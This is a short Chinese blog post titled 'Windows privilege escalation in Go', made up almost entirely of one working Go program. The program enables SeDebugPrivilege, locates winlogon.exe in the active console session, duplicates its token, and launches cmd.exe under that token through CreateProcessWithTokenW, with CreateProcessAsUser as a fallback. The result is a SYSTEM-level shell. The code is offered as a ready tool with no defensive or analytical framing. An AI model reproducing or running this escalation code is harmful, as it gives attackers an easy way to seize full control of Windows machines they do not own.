golang实现windows提权

发布于:2024-04-16 ⋅ 阅读:(21) ⋅ 点赞:(0)

golang实现windows提权

package main

import (
	"fmt"
	"syscall"
	"unsafe"

	"github.com/shirou/gopsutil/process"
	"golang.org/x/sys/windows"
)

const (
	TOKEN_ALL_ACCESS     = 0x000F01FF
	SE_PRIVILEGE_ENABLED = 0x00000002
	TOKEN_DUPLICATE      = 0x00000002
)

var (
	modadvapi32             = syscall.NewLazyDLL("advapi32.dll")
	createProcessWithTokenW = modadvapi32.NewProc("CreateProcessWithTokenW")
)

func CreateProcessWithTokenW(Token windows.Token,
	LogonFlags uint32,
	ApplicationName *uint16,
	CommandLine *uint16,
	CreationFlags uint32,
	Environment **uint16,
	CurrentDirectory *uint16,
	StartupInfo *windows.StartupInfo,
	ProcessInformation *windows.ProcessInformation) bool {

	r0, _, _ := createProcessWithTokenW.Call(
		uintptr(Token),
		uintptr(LogonFlags),
		uintptr(unsafe.Pointer(ApplicationName)),
		uintptr(unsafe.Pointer(CommandLine)),
		uintptr(CreationFlags),
		uintptr(unsafe.Pointer(Environment)),
		uintptr(unsafe.Pointer(CurrentDirectory)),
		uintptr(unsafe.Pointer(StartupInfo)),
		uintptr(unsafe.Pointer(ProcessInformation)))

	return r0 != 0
}

func SetPrivilege() error {
	var hToken windows.Token
	err := windows.OpenProcessToken(windows.CurrentProcess(), TOKEN_ALL_ACCESS, &hToken)
	if err != nil {
		return err
	}
	defer hToken.Close()
	var tp windows.Tokenprivileges
	tp.PrivilegeCount = 1
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED

	var luid windows.LUID
	se, _ := syscall.UTF16PtrFromString("SeDebugPrivilege")
	windows.LookupPrivilegeValue(nil, se, &luid)

	tp.Privileges[0].Luid = luid
	windows.AdjustTokenPrivileges(hToken, false, &tp, uint32(unsafe.Sizeof(windows.Tokenprivileges{})), nil, nil)

	return nil
}

func GetProcessIdByName(targetname string, sessionID uint32) uint32 {
	pids, _ := process.Processes()
	for _, p := range pids {
		name, _ := p.Name()
		if targetname == name {
			var sesID uint32 = 0
			windows.ProcessIdToSessionId(uint32(p.Pid), &sesID)
			if sesID == sessionID {
				return uint32(p.Pid)
			}
		}
	}
	return 0
}
func main() {
	err := SetPrivilege()
	if err != nil {
		fmt.Println("Error:", err)
		return
	}
	// CMD := "cmd.exe"
	targetProcess := "winlogon.exe"
	sessionID := windows.WTSGetActiveConsoleSessionId()
	if sessionID != 0xffffff {
		processId := GetProcessIdByName(targetProcess, sessionID)
		if processId != 0 {
			targetProcessHandle, _ := windows.OpenProcess(0x400, false, processId)
			defer windows.CloseHandle(targetProcessHandle)
			var targetProcessToken windows.Token
			defer targetProcessToken.Close()
			err := windows.OpenProcessToken(targetProcessHandle, TOKEN_DUPLICATE, &targetProcessToken)
			if err != nil {
				fmt.Println("windows.OpenProcessTok", err)
				return
			}
			var impersonationToken windows.Token
			defer impersonationToken.Close()
			err = windows.DuplicateTokenEx(targetProcessToken, TOKEN_ALL_ACCESS, nil, windows.SecurityIdentification, windows.TokenPrimary, &impersonationToken)
			if err != nil {
				fmt.Println("DuplicateTokenEx", err)
				return
			}
			var si windows.StartupInfo
			var pi windows.ProcessInformation
			si.Cb = uint32(unsafe.Sizeof(si))
			Desktop, _ := syscall.UTF16PtrFromString("winsta0\\default")
			si.Desktop = Desktop
			CMDStr, _ := windows.UTF16PtrFromString("cmd.exe")
			status := CreateProcessWithTokenW(impersonationToken, 0, CMDStr, nil, windows.CREATE_NEW_CONSOLE, nil, nil, &si, &pi)
			if !status {
				err = windows.CreateProcessAsUser(impersonationToken, nil, CMDStr, nil, nil, false, 0, nil, nil, &si, &pi)
				if err != nil {
					fmt.Println("CreateProcessAsUser", err)
					return
				}
			}
		}
	}
}